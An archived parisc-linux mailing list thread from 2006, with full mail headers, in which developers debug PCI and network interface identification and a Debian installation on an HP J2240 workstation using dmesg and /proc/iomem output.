> howlin:~# dmesg
> Linux version 2.6.8-2-32-smp (root@palinux) (gcc version 3.3.5 (Debian
> 1:3.3.5-1
> 3)) #1 SMP Wed Aug 24 17:55:41 UTC 2005
> FP[0] enabled: Rev 0 Model 14
> The 32-bit Kernel has started...
> Determining PDC firmware type: System Map.
...
> Brought up 1 CPUs
> CPU0:  online
>  domain 0: span ffffffff
>   groups: 00000001 00000002 00000004 00000008 00000010 00000020 00000040
> 0000008 0 00000100 00000200 00000400 00000800 00001000 00002000 00004000
> 00008000 000100 00 00020000 00040000 00080000 00100000 00200000 00400000
> 00800000 01000000 02000 000 04000000 08000000 10000000 20000000 40000000
> 80000000
> CPU1: offline
>  domain 0: span ffffffff
>   groups: 00000002 00000004 00000008 00000010 00000020 00000040 00000080
> 0000010 0 00000200 00000400 00000800 00001000 00002000 00004000 00008000
> 00010000 000200 00 00040000 00080000 00100000 00200000 00400000 00800000
> 01000000 02000000 04000 000 08000000 10000000 20000000 40000000 80000000
> 00000001
> CPU2: offline
>  domain 0: span ffffffff
>   groups: 00000004 00000008 00000010 00000020 00000040 00000080 00000100
> 0000020 0 00000400 00000800 00001000 00002000 00004000 00008000 00010000
> 00020000 000400 00 00080000 00100000 00200000 00400000 00800000 01000000
> 02000000 04000000 08000 000 10000000 20000000 40000000 80000000 00000001
> 00000002
...
> CPU31: offline
>  domain 0: span ffffffff
>   groups: 80000000 00000001 00000002 00000004 00000008 00000010 00000020
> 0000004 0 00000080 00000100 00000200 00000400 00000800 00001000 00002000
> 00004000 000080 00 00010000 00020000 00040000 00080000 00100000 00200000
> 00400000 00800000 01000 000 02000000 04000000 08000000 10000000 20000000
> 40000000

Do we really need this stuff dumped to console?

> 0x00004 } 18. Memory at 0xfffb1000 [49] { 1, 0x0, 0x083, 0x00009 } Releasing
> cpu 1 now, hpa=fffa2000 FP[1] enabled: Rev 0 Model 14
> CPU(s): 2 x PA8200 (PCX-U+) at 236.000000 MHz Found U2 at 0xfff88000 Found
> U2 at 0xfff8a000 Lasi version 0 at 0xffd00000 found.
> Cujo version unknown found at 0xfc000000 Dino [8/4] version 3.1 found at
> 0xfc004000 Cujo version 2.0 found at 0xf1604000 Enabling Cujo 2.0 bug
> workaround SCSI subsystem initialized TC classifier action (bugs to
> netdev@oss.sgi.com cc hadi@cyberus.ca) STI GSC/PCI core graphics driver
> Version 0.9a STI PCI graphic ROM found at f1ff0000 (64 kB), fb at f6000000
> (32 MB)

Your mailer or capture utility is loosing CRs here.

> version 1.1.13 (May 11, 2002)
> tulip0:  EEPROM default media type Autosense.
> tulip0:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
> tulip0: ***WARNING***: No MII transceiver found!
> eth0: Digital DS21143 Tulip rev 33 at 0xfd810000, 00:60:B0:B2:FC:F5, IRQ 99.
> tulip1: no phy info, aborting mtable build
> tulip1:  MII transceiver #1 config 1000 status 7809 advertising 01e1.
> eth1: Digital DS21143 Tulip rev 48 at 0xfc802000, 00:60:B0:A4:F3:F1, IRQ
> 128.
...

ok. should be easy now to figure out which is connected (or not).

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - Almost there....
Date: Wed, 4 Jan 2006 10:49:43 -0700
Lines: 80
Approved: news@gmane.org
Message-ID: <20060104174943.GP19769@parisc-linux.org>
References: <7d01f9f00601010615v54117490o9a575fd279244524@mail.gmail.com>
	<000401c61003$cea58c60$3401a8c0@POGO>
	<20060104174332.GB20079@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623974 17610 80.91.229.3 (22 Nov 2014 02:39:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jan 2006 17:49:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 04 Jan 2006 18:49:51 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7CB727D7C0;
	Wed,  4 Jan 2006 10:49:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27707-09; Wed, 4 Jan 2006 10:49:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 65CBA7D7C1;
	Wed,  4 Jan 2006 10:49:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC71D7D7BF
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Jan 2006 10:49:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27707-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 4 Jan 2006 10:49:43 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 399E67D7B3
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Jan 2006 10:49:43 -0700 (MST)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id E2BDA4940E3; Wed,  4 Jan 2006 10:49:43 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20060104174332.GB20079@colo.lackof.org>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: l2/OY71DeSEkY76WZHQhaXN1IGRvb0DY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23321

On Wed, Jan 04, 2006 at 10:43:32AM -0700, Grant Grundler wrote:
> ...
> > howlin:~# cat /proc/iomem
> > 00000000-7fffffff : System RAM
> >   00000000-000009ff : PDC data (Page Zero)
> >   00100000-003b4fff : Kernel code
> >   003b5000-00513b03 : Kernel data
> > f0190000-f0190000 : lcd_cmd
> > f0190001-f0190001 : lcd_data
> > f1600000-f3ffffff : GSC Bus [10/]
> >   f1604000-f1604fff : Cujo
> >   f1607800-f1607807 : serial
> >   f1800000-f1ffffff : Cujo LMMIO 0
> > f4000000-f5ffffff : GSC Bus [8/]
> > f6000000-f7ffffff : GSC Bus [10/]
> >   f6000000-f7ffffff : Cujo LMMIO 1
> >     f6000000-f7ffffff : 0000:02:00.0
> >       f6100000-f64fffff : stifb mmio
> >       f7000000-f71fffff : stifb fb
> > f8000000-fff7ffff : GSC Bus [8/]
> >   fc000000-fc000fff : Cujo
> >   fc003800-fc003807 : serial
> >   fc004000-fc004fff : Dino [8/4]
> >   fc800000-fcffffff : Dino [8/4] LMMIO 0
> >     fc800000-fc800fff : 0000:01:13.0
> >       fc800000-fc800fff : sym53c8xx
> >     fc801000-fc8010ff : 0000:01:13.0
> >       fc801000-fc8010ff : sym53c8xx
> >     fc802000-fc80207f : 0000:01:14.0
> >       fc802000-fc80207f : tulip
> >   fd800000-fdffffff : Cujo LMMIO 0
> >     fd800000-fd80ffff : 0000:00:04.0
> >     fd810000-fd81007f : 0000:00:03.0
> >       fd810000-fd81007f : tulip
> >     fd811000-fd81107f : 0000:00:04.0
> >   ffd00000-ffdfffff : Lasi
> >     ffd00000-ffd00fff : Lasi
> >     ffd06000-ffd06fff : Lasi SCSI
> >     ffd08000-ffd08fff : GSC PS2
> > fff80000-fffaffff : Central Bus
> >   fff88000-fff88fff : U2:Uturn
> >   fff8a000-fff8afff : U2:Uturn
> >   fffa0000-fffa0fff : CPU
> >   fffa2000-fffa2fff : CPU
> > fffb0000-fffdffff : Local Broadcast
> > fffe0000-ffffffff : Global Broadcast
> 
> 
> 0000:00:03.0 is tulip in slot 3.
> 0000:01:14.0 is tulip built-in. (my guess)

I disagree.  The 'Cujo' on GSC bus 8 is actually a Dino.  As I said
in my earlier mail, I've now fixed this.  So I think eth0 (00:03.0)
is actually the built-in one.

> > CPU0:  online
> >  domain 0: span ffffffff
> >   groups: 00000001 00000002 00000004 00000008 00000010 00000020 00000040
> > 0000008 0 00000100 00000200 00000400 00000800 00001000 00002000 00004000
> > 00008000 000100 00 00020000 00040000 00080000 00100000 00200000 00400000
> > 00800000 01000000 02000 000 04000000 08000000 10000000 20000000 40000000
> > 80000000
> > CPU1: offline
> >  domain 0: span ffffffff
> >   groups: 00000002 00000004 00000008 00000010 00000020 00000040 00000080
> > 0000010 0 00000200 00000400 00000800 00001000 00002000 00004000 00008000
> > 00010000 000200 00 00040000 00080000 00100000 00200000 00400000 00800000
> > 01000000 02000000 04000 000 08000000 10000000 20000000 40000000 80000000
> > 00000001
> 
> Do we really need this stuff dumped to console?

I think it's no longer dumped to console by current kernels.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - Almost there....
Date: Wed, 4 Jan 2006 11:18:54 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20060104181854.GE20079@colo.lackof.org>
References: <7d01f9f00601010615v54117490o9a575fd279244524@mail.gmail.com>
	<000401c61003$cea58c60$3401a8c0@POGO>
	<20060104174332.GB20079@colo.lackof.org>
	<20060104174943.GP19769@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623975 17612 80.91.229.3 (22 Nov 2014 02:39:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jan 2006 18:10:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 04 Jan 2006 19:10:03 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E93447D7CD;
	Wed,  4 Jan 2006 11:09:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28049-06; Wed, 4 Jan 2006 11:09:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C583A7D7C9;
	Wed,  4 Jan 2006 11:09:56 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C8E97D7BC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Jan 2006 11:09:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28049-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 4 Jan 2006 11:09:54 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 097597D7B9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Jan 2006 11:09:54 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 1659236000C;
	Wed,  4 Jan 2006 11:18:56 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23457-05; Wed, 4 Jan 2006 11:18:54 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BF545360002; Wed,  4 Jan 2006 11:18:54 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20060104174943.GP19769@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K2rOYzRteSEkYL6WZHQhaXN1IGRvb8Dr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23322

On Wed, Jan 04, 2006 at 10:49:43AM -0700, Matthew Wilcox wrote:
...
> > 0000:00:03.0 is tulip in slot 3.
> > 0000:01:14.0 is tulip built-in. (my guess)
> 
> I disagree.  The 'Cujo' on GSC bus 8 is actually a Dino.  As I said
> in my earlier mail, I've now fixed this.

I couldn't tell if the names were wrong offhand - needed ioscan output
(got it) and compare. Thanks for fixing this.

> So I think eth0 (00:03.0) is actually the built-in one.

I think I got this right despite PCI controller names.
Workstations typically hardwired the PCI slot to use the same device
number (e.g. 3) as what is silk screened on the back of the machine.
Built-in devices were typically given numbers much greater than the
highest slot number.

Servers never did this just because that scheme doesn't work multi-cell
systems with > 32 PCI slots (e.g. superdome) or multiple IO bays with
identical silk screened slot numbers.

thanks,
grant

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <clansing@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] J2240 - Almost there....
Date: Wed, 4 Jan 2006 23:08:03 -0500
Lines: 74
Approved: news@gmane.org
Message-ID: <000601c611ad$a02a50e0$3401a8c0@POGO>
References: <20060104181854.GE20079@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623975 17617 80.91.229.3 (22 Nov 2014 02:39:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Grant Grundler'" <grundler@parisc-linux.org>,
 "'Matthew Wilcox'" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jan 2006 05:36:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 05 Jan 2006 06:36:00 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 727887D713;
	Wed,  4 Jan 2006 22:35:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31375-08; Wed, 4 Jan 2006 22:35:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36E597D70B;
	Wed,  4 Jan 2006 22:35:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D62E7D706
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Jan 2006 22:35:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31375-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 4 Jan 2006 22:35:47 -0700 (MST)
Original-Received: from mtai03.charter.net (mtai03.charter.net [209.225.8.183])
	by free.linux.hp.com (Postfix) with ESMTP id A24957D705
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Jan 2006 22:35:47 -0700 (MST)
Original-Received: from mxip32-10.charter.net ([10.20.203.72]) by mtai04.charter.net
	(InterMail vM.6.01.05.04 201-2131-123-105-20051025) with ESMTP
	id <20060105040808.TIEM13452.mtai04.charter.net@mxip32-10.charter.net>
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 4 Jan 2006 23:08:08 -0500
Original-Received: from 24-176-131-136.dhcp.sffl.va.charter.com (HELO POGO)
	([24.176.131.136])
	by mxip32-10.charter.net with ESMTP; 04 Jan 2006 23:08:08 -0500
X-BrightmailFiltered: true
X-Brightmail-Tracker: AAAAAQAAA+k=
X-Mailer: Microsoft Office Outlook 11
Thread-Index: AcYRW770x6yzIjLSQ/mAPwi8JCvH8AATzcSA
In-Reply-To: <20060104181854.GE20079@colo.lackof.org>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: F9XOY8MNeSEkPb6WZHQhaXN1IGRvbwAU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23323

I forgot about the built-in LAN port.  I moved the cable to that one and all
was working from HP-UX, so I restarted the Debian install from CD... it sure
works much better now!!!! The installer doesn't ask for the network info
anymore (i.e. got an IP address from DHCP and did not ask for DNS info,
gateway, etc.), automagically selected eth1 (I guess that implies that eth1
is the built-in and eth0 is the card), and no longer whines about not being
able to reach security.debian.org.

The installer has been busily installing packages for at least 3 hours.  

1. Blew up / hung once on:
Setting up libatk1.0-0 (1.8.0-4) ...
module ipv6 relocation of symbol ipv6_chk_addr is out of range (0x3ff3fffd
in 17 bits).

2. Power cycled, booted
I get the "module ipv6..." errors when portmap, PostgreSQL, and Apache2
daemons start.

3. Restarted install via "apt-get -f install".  This is my first attempt at
Debian, so I am not APT literate.  This is just what I was prompted to do
when I tried to install one package.

Installer is still chugging.

This appears to be a good sign.


-----Original Message-----
From: parisc-linux-bounces@lists.parisc-linux.org
[mailto:parisc-linux-bounces@lists.parisc-linux.org] On Behalf Of Grant
Grundler
Sent: Wednesday, January 04, 2006 1:19 PM
To: Matthew Wilcox
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] J2240 - Almost there....

On Wed, Jan 04, 2006 at 10:49:43AM -0700, Matthew Wilcox wrote:
...
> > 0000:00:03.0 is tulip in slot 3.
> > 0000:01:14.0 is tulip built-in. (my guess)
> 
> I disagree.  The 'Cujo' on GSC bus 8 is actually a Dino.  As I said
> in my earlier mail, I've now fixed this.

I couldn't tell if the names were wrong offhand - needed ioscan output
(got it) and compare. Thanks for fixing this.

> So I think eth0 (00:03.0) is actually the built-in one.

I think I got this right despite PCI controller names.
Workstations typically hardwired the PCI slot to use the same device
number (e.g. 3) as what is silk screened on the back of the machine.
Built-in devices were typically given numbers much greater than the
highest slot number.

Servers never did this just because that scheme doesn't work multi-cell
systems with > 32 PCI slots (e.g. superdome) or multiple IO bays with
identical silk screened slot numbers.

thanks,
grant

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:[parisc-linux] Re: init pause() on some systems but not all?
Date: Thu,  5 Jan 2006 10:22:36 +0100
Lines: 89
Approved: news@gmane.org
Message-ID: <ISM4PO$E2049D32F139939E93037B953A98A7B7@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623975 17626 80.91.229.3 (22 Nov 2014 02:39:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:35 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "soete.joel" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jan 2006 09:23:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 05 Jan 2006 10:23:00 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D51F97D720;
	Thu,  5 Jan 2006 02:22:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00799-08; Thu, 5 Jan 2006 02:22:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 42F0E7D724;
	Thu,  5 Jan 2006 02:22:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 77CE77D720
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jan 2006 02:22:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00799-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Jan 2006 02:22:50 -0700 (MST)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id 745BD7D6C7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jan 2006 02:22:50 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by xizor.is.scarlet.be  with ESMTP id k059Maw31428; 
	Thu, 5 Jan 2006 10:22:36 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IoDOY2VCeSEkQL6WZHQhaXN1IGRvb0Co
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23324

Hello Max,
> 
> > Hi Joel & PA,
> > 
> > I also have the same, or at least similar problem on my c3700
> > (2.6.15-rc1-pa1, 2.6.15-rc5-pa3, debian/testing):
> 
> Thanks for feedback ;-)
> 
> Just a small uptade about 2.5.15-pa1 kernel: the pb is still there ;-/
> 
> For what is the very frustating situation, I just view alive the pb occ=
uring
> on all my testing systems (b2k, d380, b180, n4k): all were clean, early=
 this
> morning when daily cron job started, then after a few moment init() fal=
l in
> pause() but very hard to tack some picture of process runing on all tho=
se
> sytem at this very moment :<(
> 

Could it be that you installed ckrootkit dpkg on your system?

I trace more closely daily cron behaviour (loging a top -b -d 1) and:
- just one second before init fall in pause():
top - 07:42:14 up 17 min, 3 users, load average: 1.82, 2.13, 1.38
